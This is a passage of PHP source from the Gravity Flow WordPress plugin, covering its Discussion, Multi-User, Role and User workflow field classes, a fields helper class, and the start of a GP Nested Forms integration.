* @param bool|false $use_text When processing choice based fields should the choice text be returned instead of the value.
* @param bool|false $is_csv Indicates if the value is going to be used in the .csv entries export.
*
* @return string
*/
public function get_value_export( $entry, $input_id = '', $use_text = false, $is_csv = false ) {
return $this->format_discussion_value( rgar( $entry, $input_id ), 'text' );
}
/**
* Sanitize the field settings when the form is saved.
*/
public function sanitize_settings() {
parent::sanitize_settings();
if ( ! empty( $this->gravityflowDiscussionTimestampFormat ) ) {
$this->gravityflowDiscussionTimestampFormat = sanitize_text_field( $this->gravityflowDiscussionTimestampFormat );
}
}
/**
* Deletes the specified comment and updates the entry in the database.
*
* @param array $entry The entry containing the comment to be deleted.
* @param string $item_id The ID of the comment to be deleted.
*
* @since 1.4.2-dev
*
* @return array|bool
*/
public function delete_discussion_item( $entry, $item_id ) {
$discussion = json_decode( rgar( $entry, $this->id ), ARRAY_A );
if ( ! is_array( $discussion ) ) {
return false;
}
$item_found = false;
foreach ( $discussion as $key => $item ) {
if ( $item['id'] == $item_id ) {
$item_found = true;
unset( $discussion[ $key ] );
break;
}
}
if ( ! $item_found ) {
return false;
}
$discussion = ! empty( $discussion ) ? json_encode( array_values( $discussion ) ) : '';
return GFAPI::update_entry_field( $entry['id'], $this->id, $discussion );
}
/**
* Target of the wp_ajax_gravityflow_delete_discussion_item hook; handles the ajax request to delete a comment.
*
* @since 1.4.2-dev
*/
public static function ajax_delete_discussion_item() {
check_ajax_referer( 'gravityflow_delete_discussion_item', 'gravityflow_delete_discussion_item' );
$entry_id = absint( $_POST['entry_id'] );
$entry = GFAPI::get_entry( $entry_id );
if ( is_wp_error( $entry ) ) {
die();
}
$form = GFAPI::get_form( $entry['form_id'] );
$field_id = absint( $_POST['field_id'] );
$field = GFFormsModel::get_field( $form, $field_id );
if ( ! $field instanceof Gravity_Flow_Field_Discussion ) {
die();
}
$item_id = $_POST['item_id'];
$result = $field->delete_discussion_item( $entry, $item_id );
die( $result === true ? sanitize_key( $item_id ) : false );
}
/**
* Target of the gform_entry_detail hook; includes the script for the delete comment link.
*
* @since 1.4.2-dev
*/
public static function delete_discussion_item_script() {
if ( GFCommon::is_entry_detail_edit() ) {
?>
<script type="text/javascript">
function deleteDiscussionItem(entryId, fieldId, itemId) {
if (!confirm(<?php echo json_encode( __( "Would you like to delete this comment? 'Cancel' to stop. 'OK' to delete", 'gravityflow' ) ); ?>))
return;
jQuery.post(ajaxurl, {
entry_id: entryId,
field_id: fieldId,
item_id: itemId,
action: 'gravityflow_delete_discussion_item',
gravityflow_delete_discussion_item: '<?php echo wp_create_nonce( 'gravityflow_delete_discussion_item' ); ?>'
}, function (response) {
if (response) {
jQuery('#gravityflow-discussion-item-' + response).remove();
} else {
alert(<?php echo json_encode( __( 'There was an issue deleting this comment.', 'gravityflow' ) ); ?>)
}
});
}
</script>
<?php
}
}
}
GF_Fields::register( new Gravity_Flow_Field_Discussion() );

View File

@@ -0,0 +1,284 @@
<?php
/**
* Gravity Flow Multi-User Field
*
* @package GravityFlow
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class Gravity_Flow_Field_Multi_User
*/
class Gravity_Flow_Field_Multi_User extends GF_Field_MultiSelect {
/**
* The field type.
*
* @var string
*/
public $type = 'workflow_multi_user';
/**
* Set the storage type to json
*
* @var string
*/
public $storageType = 'json';
/**
* Adds the Workflow Fields group to the form editor.
*
* @param array $field_groups The properties for the field groups.
*
* @return array
*/
public function add_button( $field_groups ) {
$field_groups = Gravity_Flow_Fields::maybe_add_workflow_field_group( $field_groups );
return parent::add_button( $field_groups );
}
/**
* Returns the field button properties for the form editor.
*
* @return array
*/
public function get_form_editor_button() {
return array(
'group' => 'workflow_fields',
'text' => $this->get_form_editor_field_title(),
);
}
/**
* Returns the class names of the settings which should be available on the field in the form editor.
*
* @return array
*/
function get_form_editor_field_settings() {
return array(
'conditional_logic_field_setting',
'prepopulate_field_setting',
'error_message_setting',
'enable_enhanced_ui_setting',
'label_setting',
'label_placement_setting',
'admin_label_setting',
'size_setting',
'rules_setting',
'visibility_setting',
'description_setting',
'css_class_setting',
'gravityflow_setting_users_role_filter',
);
}
/**
* Returns the field title.
*
* @return string
*/
public function get_form_editor_field_title() {
return __( 'Multi-User', 'gravityflow' );
}
/**
* Return the HTML markup for the field choices.
*
* @param string $value The field value.
*
* @return string
*/
public function get_choices( $value ) {
if ( $this->is_form_editor() ) {
// Prevent the choices from being stored in the form meta.
$this->choices = array();
}
return parent::get_choices( $value );
}
/**
* Get an array of choices containing the users.
*
* @return array
*/
public function get_users_as_choices() {
$form_id = $this->formId;
$args = array(
'orderby' => 'display_name',
'role' => $this->gravityflowUsersRoleFilter,
);
$args = apply_filters( 'gravityflow_get_users_args_user_field', $args, $form_id, $this );
$accounts = get_users( $args );
$account_choices = array();
foreach ( $accounts as $account ) {
$account_choices[] = array( 'value' => $account->ID, 'text' => $account->display_name );
}
return apply_filters( 'gravityflow_user_field', $account_choices, $form_id, $this );
}
/**
* Return the entry value for display on the entries list page.
*
* @param string|array $value The field value.
* @param array $entry The Entry Object currently being processed.
* @param string $field_id The field or input ID currently being processed.
* @param array $columns The properties for the columns being displayed on the entry list page.
* @param array $form The Form Object currently being processed.
*
* @return string
*/
public function get_value_entry_list( $value, $entry, $field_id, $columns, $form ) {
$user_ids = $this->to_array( $value );
$display_names = $this->get_display_names( $user_ids );
$assignee = parent::get_value_entry_list( $display_names, $entry, $field_id, $columns, $form );
$value = $this->get_display_name( $assignee );
return $value;
}
/**
* Return the entry value which will replace the field merge tag.
*
* @param string $value The field value. Depending on the location the merge tag is being used the following functions may have already been applied to the value: esc_html, nl2br, and urlencode.
* @param string $input_id The field or input ID from the merge tag currently being processed.
* @param array $entry The Entry Object currently being processed.
* @param array $form The Form Object currently being processed.
* @param string $modifier The merge tag modifier. e.g. value.
* @param string|array $raw_value The raw field value from before any formatting was applied to $value.
* @param bool $url_encode Indicates if the urlencode function may have been applied to the $value.
* @param bool $esc_html Indicates if the esc_html function may have been applied to the $value.
* @param string $format The format requested for the location the merge is being used. Possible values: html, text or url.
* @param bool $nl2br Indicates if the nl2br function may have been applied to the $value.
*
* @return string
*/
public function get_value_merge_tag( $value, $input_id, $entry, $form, $modifier, $raw_value, $url_encode, $esc_html, $format, $nl2br ) {
$user_ids = $this->to_array( $raw_value );
$output_arr = array();
foreach ( $user_ids as $user_id ) {
$output_arr[] = $modifier == 'value' ? $user_id : Gravity_Flow_Fields::get_user_variable( $user_id, $modifier, $url_encode, $esc_html );
}
return GFCommon::implode_non_blank( ', ', $output_arr );
}
/**
* Return the entry value for display on the entry detail page and for the {all_fields} merge tag.
*
* @param string $value The field value.
* @param string $currency The entry currency code.
* @param bool|false $use_text When processing choice based fields should the choice text be returned instead of the value.
* @param string $format The format requested for the location the merge is being used. Possible values: html, text or url.
* @param string $media The location where the value will be displayed. Possible values: screen or email.
*
* @return string
*/
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
if ( empty( $value ) || $format == 'text' ) {
return $value;
}
$user_ids = $this->to_array( $value );
$display_names = $use_text ? $this->get_display_names( $user_ids ) : $user_ids;
return parent::get_value_entry_detail( $display_names, $currency, $use_text, $format, $media );
}
/**
* Gets the display name for the selected user.
*
* @param int $user_id The array of user ID.
*
* @return string
*/
public function get_display_name( $user_id ) {
if ( empty( $user_id ) ) {
return '';
}
$user = get_user_by( 'id', $user_id );
$value = is_object( $user ) ? $user->display_name : $user_id;
return $value;
}
public function get_display_names( $user_ids ) {
$display_names = array();
foreach ( $user_ids as $user_id ) {
$display_names[] = $this->get_display_name( $user_id );
}
return $display_names;
}
/**
* Format the entry value before it is used in entry exports and by framework add-ons using GFAddOn::get_field_value().
*
* @param array $entry The entry currently being processed.
* @param string $input_id The field or input ID.
* @param bool|false $use_text When processing choice based fields should the choice text be returned instead of the value.
* @param bool|false $is_csv Indicates if the value is going to be used in the .csv entries export.
*
* @return string
*/
public function get_value_export( $entry, $input_id = '', $use_text = false, $is_csv = false ) {
if ( empty( $input_id ) ) {
$input_id = $this->id;
}
$value = json_decode( rgar( $entry, $input_id ), true );
if ( $use_text == true || $is_csv == true ) {
$display_names = $this->get_display_names( $value );
return GFCommon::implode_non_blank( ', ', $display_names );
}
if ( $use_text == false && $is_csv == false ) {
return rgar( $entry, $input_id );
}
return GFCommon::implode_non_blank( ', ', $value );
}
/**
* Sanitize the field settings when the form is saved.
*/
public function sanitize_settings() {
parent::sanitize_settings();
if ( ! empty( $this->gravityflowUsersRoleFilter ) ) {
$this->gravityflowUsersRoleFilter = wp_strip_all_tags( $this->gravityflowUsersRoleFilter );
}
}
/**
* Add the users as choices.
*
* @since 1.7.1-dev
*/
public function post_convert_field() {
if ( ! $this->is_form_editor() ) {
$this->choices = $this->get_users_as_choices();
}
}
}
GF_Fields::register( new Gravity_Flow_Field_Multi_User() );

View File

@@ -0,0 +1,214 @@
<?php
/**
* Gravity Flow Role Field
*
* @package GravityFlow
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class Gravity_Flow_Field_Role
*/
class Gravity_Flow_Field_Role extends GF_Field_Select {
/**
* The field type.
*
* @var string
*/
public $type = 'workflow_role';
/**
* Adds the Workflow Fields group to the form editor.
*
* @param array $field_groups The properties for the field groups.
*
* @return array
*/
public function add_button( $field_groups ) {
$field_groups = Gravity_Flow_Fields::maybe_add_workflow_field_group( $field_groups );
return parent::add_button( $field_groups );
}
/**
* Returns the field button properties for the form editor.
*
* @return array
*/
public function get_form_editor_button() {
return array(
'group' => 'workflow_fields',
'text' => $this->get_form_editor_field_title(),
);
}
/**
* Returns the class names of the settings which should be available on the field in the form editor.
*
* @return array
*/
function get_form_editor_field_settings() {
return array(
'conditional_logic_field_setting',
'prepopulate_field_setting',
'error_message_setting',
'enable_enhanced_ui_setting',
'label_setting',
'label_placement_setting',
'admin_label_setting',
'size_setting',
'rules_setting',
'placeholder_setting',
'default_value_setting',
'visibility_setting',
'duplicate_setting',
'description_setting',
'css_class_setting',
);
}
/**
* Returns the field title.
*
* @return string
*/
public function get_form_editor_field_title() {
return __( 'Role', 'gravityflow' );
}
/**
* Return the HTML markup for the field choices.
*
* @param string $value The field value.
*
* @return string
*/
public function get_choices( $value ) {
if ( $this->is_form_editor() ) {
// Prevent the choices from being stored in the form meta.
$this->choices = array();
}
return parent::get_choices( $value );
}
/**
* Get an array of choices containing the user roles.
*
* @return array
*/
public function get_roles_as_choices() {
$role_choices = Gravity_Flow_Common::get_roles_as_choices( false, false, true );
$form_id = $this->formId;
return apply_filters( 'gravityflow_role_field', $role_choices, $form_id, $this );
}
/**
* Return the entry value for display on the entries list page.
*
* @param string|array $value The field value.
* @param array $entry The Entry Object currently being processed.
* @param string $field_id The field or input ID currently being processed.
* @param array $columns The properties for the columns being displayed on the entry list page.
* @param array $form The Form Object currently being processed.
*
* @return string
*/
public function get_value_entry_list( $value, $entry, $field_id, $columns, $form ) {
$assignee = parent::get_value_entry_list( $value, $entry, $field_id, $columns, $form );
$value = $this->get_display_name( $assignee );
return $value;
}
/**
* Return the entry value which will replace the field merge tag.
*
* @param string $value The field value. Depending on the location the merge tag is being used the following functions may have already been applied to the value: esc_html, nl2br, and urlencode.
* @param string $input_id The field or input ID from the merge tag currently being processed.
* @param array $entry The Entry Object currently being processed.
* @param array $form The Form Object currently being processed.
* @param string $modifier The merge tag modifier. e.g. value.
* @param string|array $raw_value The raw field value from before any formatting was applied to $value.
* @param bool $url_encode Indicates if the urlencode function may have been applied to the $value.
* @param bool $esc_html Indicates if the esc_html function may have been applied to the $value.
* @param string $format The format requested for the location the merge is being used. Possible values: html, text or url.
* @param bool $nl2br Indicates if the nl2br function may have been applied to the $value.
*
* @return string
*/
public function get_value_merge_tag( $value, $input_id, $entry, $form, $modifier, $raw_value, $url_encode, $esc_html, $format, $nl2br ) {
$value = $this->get_display_name( $value );
return $value;
}
/**
* Return the entry value for display on the entry detail page and for the {all_fields} merge tag.
*
* @param string $value The field value.
* @param string $currency The entry currency code.
* @param bool|false $use_text When processing choice based fields should the choice text be returned instead of the value.
* @param string $format The format requested for the location the merge is being used. Possible values: html, text or url.
* @param string $media The location where the value will be displayed. Possible values: screen or email.
*
* @return string
*/
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
$assignee = parent::get_value_entry_detail( $value, $currency, $use_text, $format, $media );
$value = $this->get_display_name( $assignee );
return $value;
}
/**
* Gets the display name for the selected role.
*
* @param string $value The role name.
*
* @return string
*/
public function get_display_name( $value ) {
$value = translate_user_role( $value );
return $value;
}
/**
* Format the entry value before it is used in entry exports and by framework add-ons using GFAddOn::get_field_value().
*
* @param array $entry The entry currently being processed.
* @param string $input_id The field or input ID.
* @param bool|false $use_text When processing choice based fields should the choice text be returned instead of the value.
* @param bool|false $is_csv Indicates if the value is going to be used in the .csv entries export.
*
* @return string
*/
public function get_value_export( $entry, $input_id = '', $use_text = false, $is_csv = false ) {
if ( empty( $input_id ) ) {
$input_id = $this->id;
}
return $this->get_display_name( rgar( $entry, $input_id ) );
}
/**
* Add the roles as choices.
*
* @since 1.7.1-dev
*/
public function post_convert_field() {
if ( ! $this->is_form_editor() ) {
$this->choices = $this->get_roles_as_choices();
}
}
}
GF_Fields::register( new Gravity_Flow_Field_Role() );

View File

@@ -0,0 +1,245 @@
<?php
/**
* Gravity Flow User Field
*
* @package GravityFlow
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class Gravity_Flow_Field_User
*/
class Gravity_Flow_Field_User extends GF_Field_Select {
/**
* The field type.
*
* @var string
*/
public $type = 'workflow_user';
/**
* Adds the Workflow Fields group to the form editor.
*
* @param array $field_groups The properties for the field groups.
*
* @return array
*/
public function add_button( $field_groups ) {
$field_groups = Gravity_Flow_Fields::maybe_add_workflow_field_group( $field_groups );
return parent::add_button( $field_groups );
}
/**
* Returns the field button properties for the form editor.
*
* @return array
*/
public function get_form_editor_button() {
return array(
'group' => 'workflow_fields',
'text' => $this->get_form_editor_field_title(),
);
}
/**
* Returns the class names of the settings which should be available on the field in the form editor.
*
* @return array
*/
function get_form_editor_field_settings() {
return array(
'conditional_logic_field_setting',
'prepopulate_field_setting',
'error_message_setting',
'enable_enhanced_ui_setting',
'label_setting',
'label_placement_setting',
'admin_label_setting',
'size_setting',
'rules_setting',
'placeholder_setting',
'default_value_setting',
'visibility_setting',
'duplicate_setting',
'description_setting',
'css_class_setting',
'gravityflow_setting_users_role_filter',
);
}
/**
* Returns the field title.
*
* @return string
*/
public function get_form_editor_field_title() {
return __( 'User', 'gravityflow' );
}
/**
* Return the HTML markup for the field choices.
*
* @param string $value The field value.
*
* @return string
*/
public function get_choices( $value ) {
if ( $this->is_form_editor() ) {
// Prevent the choices from being stored in the form meta.
$this->choices = array();
}
return parent::get_choices( $value );
}
/**
* Get an array of choices containing the users.
*
* @return array
*/
public function get_users_as_choices() {
$form_id = $this->formId;
$args = array(
'orderby' => 'display_name',
'role' => $this->gravityflowUsersRoleFilter,
);
$args = apply_filters( 'gravityflow_get_users_args_user_field', $args, $form_id, $this );
$accounts = get_users( $args );
$account_choices = array();
foreach ( $accounts as $account ) {
$account_choices[] = array( 'value' => $account->ID, 'text' => $account->display_name );
}
return apply_filters( 'gravityflow_user_field', $account_choices, $form_id, $this );
}
/**
* Return the entry value for display on the entries list page.
*
* @param string|array $value The field value.
* @param array $entry The Entry Object currently being processed.
* @param string $field_id The field or input ID currently being processed.
* @param array $columns The properties for the columns being displayed on the entry list page.
* @param array $form The Form Object currently being processed.
*
* @return string
*/
public function get_value_entry_list( $value, $entry, $field_id, $columns, $form ) {
$assignee = parent::get_value_entry_list( $value, $entry, $field_id, $columns, $form );
$value = $this->get_display_name( $assignee );
return $value;
}
/**
* Return the entry value which will replace the field merge tag.
*
* @param string $value The field value. Depending on the location the merge tag is being used the following functions may have already been applied to the value: esc_html, nl2br, and urlencode.
* @param string $input_id The field or input ID from the merge tag currently being processed.
* @param array $entry The Entry Object currently being processed.
* @param array $form The Form Object currently being processed.
* @param string $modifier The merge tag modifier. e.g. value.
* @param string|array $raw_value The raw field value from before any formatting was applied to $value.
* @param bool $url_encode Indicates if the urlencode function may have been applied to the $value.
* @param bool $esc_html Indicates if the esc_html function may have been applied to the $value.
* @param string $format The format requested for the location the merge is being used. Possible values: html, text or url.
* @param bool $nl2br Indicates if the nl2br function may have been applied to the $value.
*
* @return string
*/
public function get_value_merge_tag( $value, $input_id, $entry, $form, $modifier, $raw_value, $url_encode, $esc_html, $format, $nl2br ) {
return Gravity_Flow_Fields::get_user_variable( $value, $modifier, $url_encode, $esc_html );
}
/**
* Return the entry value for display on the entry detail page and for the {all_fields} merge tag.
*
* @param string $value The field value.
* @param string $currency The entry currency code.
* @param bool|false $use_text When processing choice based fields should the choice text be returned instead of the value.
* @param string $format The format requested for the location the merge is being used. Possible values: html, text or url.
* @param string $media The location where the value will be displayed. Possible values: screen or email.
*
* @return string
*/
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
$assignee = parent::get_value_entry_detail( $value, $currency, $use_text, $format, $media );
$value = $this->get_display_name( $assignee );
return $value;
}
/**
* Gets the display name for the selected user.
*
* @param int $user_id The user ID.
*
* @return string
*/
public function get_display_name( $user_id ) {
if ( empty( $user_id ) ) {
return '';
}
$user = get_user_by( 'id', $user_id );
$value = is_object( $user ) ? $user->display_name : $user_id;
return $value;
}
/**
* Format the entry value before it is used in entry exports and by framework add-ons using GFAddOn::get_field_value().
*
* @param array $entry The entry currently being processed.
* @param string $input_id The field or input ID.
* @param bool|false $use_text When processing choice based fields should the choice text be returned instead of the value.
* @param bool|false $is_csv Indicates if the value is going to be used in the .csv entries export.
*
* @return string
*/
public function get_value_export( $entry, $input_id = '', $use_text = false, $is_csv = false ) {
if ( empty( $input_id ) ) {
$input_id = $this->id;
}
$user_id = rgar( $entry, $input_id );
if ( $use_text == true || $is_csv == true ) {
return $this->get_display_name( $user_id );
}
return $user_id;
}
/**
* Sanitize the field settings when the form is saved.
*/
public function sanitize_settings() {
parent::sanitize_settings();
if ( ! empty( $this->gravityflowUsersRoleFilter ) ) {
$this->gravityflowUsersRoleFilter = wp_strip_all_tags( $this->gravityflowUsersRoleFilter );
}
}
/**
* Add the users as choices.
*
* @since 1.7.1-dev
*/
public function post_convert_field() {
if ( ! $this->is_form_editor() ) {
$this->choices = $this->get_users_as_choices();
}
}
}
GF_Fields::register( new Gravity_Flow_Field_User() );

View File

@@ -0,0 +1,253 @@
<?php
/**
* Gravity Flow Fields Functions
*
* @package GravityFlow
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
* @since 1.4.2-dev
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class Gravity_Flow_Fields
*/
class Gravity_Flow_Fields {
/**
* Class constructor; if the installed Gravity Forms version is supported initialize the hooks.
*/
function __construct() {
if ( ! gravity_flow()->is_gravityforms_supported() ) {
return;
}
add_action( 'init', array( $this, 'init_hooks' ) );
}
/**
* Add the hooks via the WordPress init action.
*/
public function init_hooks() {
add_filter( 'gform_tooltips', array( $this, 'add_tooltips' ) );
add_action( 'gform_field_standard_settings', array( $this, 'field_settings' ) );
add_action( 'gform_field_appearance_settings', array( $this, 'field_appearance_settings' ) );
add_action( 'gform_entry_detail', array( 'Gravity_Flow_Field_Discussion', 'delete_discussion_item_script' ) );
add_action( 'wp_ajax_rg_delete_file', array( 'RGForms', 'delete_file' ) );
add_action( 'wp_ajax_nopriv_rg_delete_file', array( 'RGForms', 'delete_file' ) );
add_action( 'wp_ajax_gravityflow_delete_discussion_item', array( 'Gravity_Flow_Field_Discussion', 'ajax_delete_discussion_item' ) );
}
/**
* Adds the Workflow Fields group to the form editor.
*
* @param array $field_groups The properties for the field groups.
*
* @return array
*/
public static function maybe_add_workflow_field_group( $field_groups ) {
foreach ( $field_groups as $field_group ) {
if ( $field_group['name'] == 'workflow_fields' ) {
return $field_groups;
}
}
$field_groups[] = array(
'name' => 'workflow_fields',
'label' => __( 'Workflow Fields', 'gravityflow' ),
'fields' => array()
);
return $field_groups;
}
/**
* Add the tooltips for the workflow fields group and any custom field settings.
*
* @param array $tooltips An associative array where the key is the tooltip name and the value is the tooltip.
*
* @return array
*/
public function add_tooltips( $tooltips ) {
$tooltips['form_workflow_fields'] = '<h6>' . __( 'Workflow Fields', 'gravityflow' ) . '</h6>' . __( 'Workflow Fields add advanced workflow functionality to your forms.', 'gravityflow' );
$tooltips['gravityflow_discussion_timestamp_format'] = '<h6>' . __( 'Custom Timestamp Format', 'gravityflow' ) . '</h6>' . sprintf( __( 'If you would like to override the default format used when displaying the comment timestamps, enter your %scustom format%s here.', 'gravityflow' ), '<a href="https://codex.wordpress.org/Formatting_Date_and_Time" target="_blank">', '</a>' );
return $tooltips;
}
/**
* Add the assignees and role settings to the general tab.
*
* @param int $position The setting position.
*/
public function field_settings( $position ) {
if ( $position == 20 ) {
// After Description setting.
$this->setting_assignees();
$this->setting_role();
}
}
/**
* Output the markup for the gravityflow_setting_assignees setting to the field general tab in the form editor.
*/
public function setting_assignees() {
?>
<li class="gravityflow_setting_assignees field_setting">
<span class="section_label"><?php esc_html_e( 'Assignees', 'gravityflow' ); ?></span>
<div>
<input type="checkbox" id="gravityflow-assignee-field-show-users" onclick="SetAssigneeFieldShowUsers();"/>
<label for="gravityflow-assignee-field-show-users" class="inline">
<?php esc_html_e( 'Show Users', 'gravityflow' ); ?>
<?php gform_tooltip( 'gravityflow_assignee_field_show_users' ) ?>
</label>
</div>
<div>
<input type="checkbox" id="gravityflow-assignee-field-show-roles"
onclick="var value = jQuery(this).is(':checked'); SetFieldProperty('gravityflowAssigneeFieldShowRoles', value);"/>
<label for="gravityflow-assignee-field-show-roles" class="inline">
<?php esc_html_e( 'Show Roles', 'gravityflow' ); ?>
<?php gform_tooltip( 'gravityflow_assignee_field_show_roles' ) ?>
</label>
</div>
<div>
<input type="checkbox" id="gravityflow-assignee-field-show-fields"
onclick="var value = jQuery(this).is(':checked'); SetFieldProperty('gravityflowAssigneeFieldShowFields', value);"/>
<label for="gravityflow-assignee-field-show-fields" class="inline">
<?php esc_html_e( 'Show Fields', 'gravityflow' ); ?>
<?php gform_tooltip( 'gravityflow_assignee_field_show_fields' ) ?>
</label>
</div>
</li>
<?php
}
/**
* Output the markup for the gravityflow_setting_users_role_filter setting to the field general tab in the form editor.
*/
public function setting_role() {
?>
<li class="gravityflow_setting_users_role_filter field_setting">
<label for="gravityflow_users_role_filter" class="section_label">
<?php esc_html_e( 'Users Role Filter', 'gravityflow' ); ?>
</label>
<?php $this->setting_role_select(); ?>
</li>
<?php
}
/**
* Output the markup for the role select element.
*/
public function setting_role_select() {
$choices = array(
array(
'value' => '',
'label' => esc_html__( 'Include users from all roles', 'gravityflow' )
)
);
$role_field = array(
'name' => 'gravityflow_users_role_filter',
'choices' => array_merge( $choices, Gravity_Flow_Common::get_roles_as_choices( false ) ),
'onchange' => "SetFieldProperty('gravityflowUsersRoleFilter',this.value);",
);
$html = gravity_flow()->settings_select( $role_field, false );
echo str_replace( sprintf( 'name="_gaddon_setting_%s"', esc_attr( $role_field['name'] ) ), '', $html );
}
/**
* Add the discussion fields custom timestamp format to the appearance tab.
*
* @param int $position The setting position.
*/
public function field_appearance_settings( $position ) {
if ( $position == 0 ) {
?>
<li class="gravityflow_setting_discussion_timestamp_format field_setting">
<label for="gravityflow_discussion_timestamp_format" class="section_label">
<?php esc_html_e( 'Custom Timestamp Format', 'gravityflow' ); ?>
<?php gform_tooltip( 'gravityflow_discussion_timestamp_format' ) ?>
</label>
<input id="gravityflow_discussion_timestamp_format" type="text" class="fieldwidth-4"
placeholder="d M Y g:i a" onkeyup="SetDiscussionTimestampFormat(jQuery(this).val());"
onchange="SetDiscussionTimestampFormat(jQuery(this).val());"/>
</li>
<?php
}
}
/**
* Retrieves the value of the specified user property/meta key for the specified user ID.
*
* @since 1.5.1-dev
*
* @param string|int $user_id The user ID.
* @param string $property The user property to return.
* @param bool $url_encode Indicates if the urlencode function should be applied.
* @param bool $esc_html Indicates if the esc_html function should be applied.
*
* @return string
*/
public static function get_user_variable( $user_id, $property, $url_encode = false, $esc_html = true ) {
$value = $user_id;
if ( $property != 'id' ) {
$user = get_user_by( 'id', $user_id );
if ( is_object( $user ) ) {
switch ( $property ) {
case 'email' :
$property = 'user_email';
break;
case '' :
$property = 'display_name';
}
if ( $property == 'roles' ) {
$value = implode( ', ', $user->roles );
} else {
$value = $user->get( $property );
}
}
}
return self::maybe_format_user_variable( $value, $url_encode, $esc_html );
}
/**
* Filters the value of invalid or special characters before output.
*
* @since 1.5.1-dev
*
* @param string|int $value The user ID or property to be filtered.
* @param bool $url_encode Indicates if the urlencode function should be applied.
* @param bool $esc_html Indicates if the esc_html function should be applied.
*
* @return string
*/
public static function maybe_format_user_variable( $value, $url_encode, $esc_html ) {
if ( $url_encode ) {
$value = urlencode( $value );
}
if ( $esc_html ) {
$value = esc_html( $value );
}
return $value;
}
}
new Gravity_Flow_Fields();

View File

@@ -0,0 +1,2 @@
<?php
//Nothing to see here

2
includes/index.php Normal file
View File

@@ -0,0 +1,2 @@
<?php
//Nothing to see here

View File

@@ -0,0 +1,604 @@
<?php
/**
* Gravity Flow GP Nested Forms
*
* @package GravityFlow
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class Gravity_Flow_GP_Nested_Forms
*
* Enables the Nested Form field to function on the workflow detail page.
*
* @since 2.0.2-dev
*/
class Gravity_Flow_GP_Nested_Forms {
/**
* The current form array.
*
* @since 2.0.2-dev
*
* @var array
*/
private $_form = array();
/**
* The current entry array.
*
* @since 2.0.2-dev
*
* @var array
*/
private $_entry = array();
/**
* The current step.
*
* @since 2.0.2-dev
*
* @var bool|Gravity_Flow_Step
*/
private $_current_step = false;
/**
* The Nested Form IDs.
*
* @since 2.0.2-dev
*
* @var array
*/
private $_nested_forms = array();
/**
* The instance of this class.
*
* @since 2.0.2-dev
*
* @var null|Gravity_Flow_GP_Nested_Forms
*/
private static $_instance = null;
/**
* Returns an instance of this class, and stores it in the $_instance property.
*
* @since 2.0.2-dev
*
* @return null|Gravity_Flow_GP_Nested_Forms
*/
public static function get_instance() {
if ( self::$_instance === null ) {
self::$_instance = new self();
}
return self::$_instance;
}
/**
* Gravity_Flow_GP_Nested_Forms constructor.
*
* Adds the hooks on the init action, after the GP Nested Form add-on has been loaded.
*
* @since 2.0.2-dev
*/
private function __construct() {
add_action( 'init', array( $this, 'maybe_add_hooks' ) );
}
/**
* Returns the parent entry step ID.
*
* @since 2.0.2-dev
*
* @return int
*/
private function get_step_id() {
return absint( rgpost( 'step_id' ) );
}
/**
* Returns the parent entry ID.
*
* @since 2.0.2-dev
*
* @return int
*/
private function get_entry_id() {
return absint( rgget( 'lid' ) );
}
/**
* Returns the parent form ID.
*
* @since 2.0.2-dev
*
* @return int
*/
private function get_form_id() {
return absint( rgget( 'id' ) );
}
/**
* Returns the parent entry.
*
* @since 2.0.2-dev
*
* @return array
*/
private function get_entry() {
if ( empty( $this->_entry ) ) {
$this->_entry = GFAPI::get_entry( $this->get_entry_id() );
}
return $this->_entry;
}
/**
* Returns the parent form.
*
* @since 2.0.2-dev
*
* @return array
*/
private function get_form() {
if ( empty( $this->_form ) ) {
$this->_form = GFAPI::get_form( $this->get_form_id() );
}
return $this->_form;
}
/**
* Returns the current step or false.
*
* @since 2.0.2-dev
*
* @return bool|Gravity_Flow_Step
*/
private function get_current_step() {
if ( empty( $this->_current_step ) ) {
$this->_current_step = gravity_flow()->get_current_step( $this->get_form(), $this->get_entry() );
}
return $this->_current_step;
}
/**
* Returns the key to be used for the entry meta item.
*
* @since 2.0.2-dev
*
* @param bool|int $step_id False or the parent forms current step ID.
*
* @return string
*/
private function get_meta_key( $step_id = false ) {
if ( empty( $step_id ) ) {
$step_id = $this->get_step_id();
}
return 'workflow_step_' . $step_id . '_process_nested_form';
}
/**
* Determines if this is a workflow detail page submission for the current step.
*
* @since 2.0.2-dev
*
* @return bool
*/
private function is_current_step_submission() {
return ! empty( $_POST ) && rgpost( 'gravityflow_submit' ) == rgar( $this->get_form(), 'id' ) && $this->get_step_id() == $this->get_current_step()->get_id();
}
/**
* If this is a workflow detail page submission and the form has a Nested Form field delete the cookie set by the perk.
*
* @since 2.0.2-dev
*/
private function maybe_delete_cookie() {
if ( ! $this->is_current_step_submission() ) {
return;
}
$nested_fields = GFAPI::get_fields_by_type( $this->get_form(), 'form' );
if ( ! empty( $nested_fields ) ) {
$session = new GPNF_Session( $this->get_form_id() );
$session->delete_cookie();
}
}
/**
* If the GP Nested Forms add-on is available add the appropriate hooks for the current location.
*
* @since 2.0.2-dev
*/
public function maybe_add_hooks() {
if ( ! function_exists( 'gp_nested_forms' ) ) {
return;
}
add_filter( 'gravityflow_status_filter', array( $this, 'filter_gravityflow_status_filter' ) );
$this->maybe_add_detail_page_hooks();
}
/**
* If the Nested Forms query string parameters are present use them to configure the constraint filters.
*
* Ensures only the child entries belonging to specified parent entry are listed.
*
* @since 2.0.2-dev
*
* @param array $args The status page constraint filters.
*
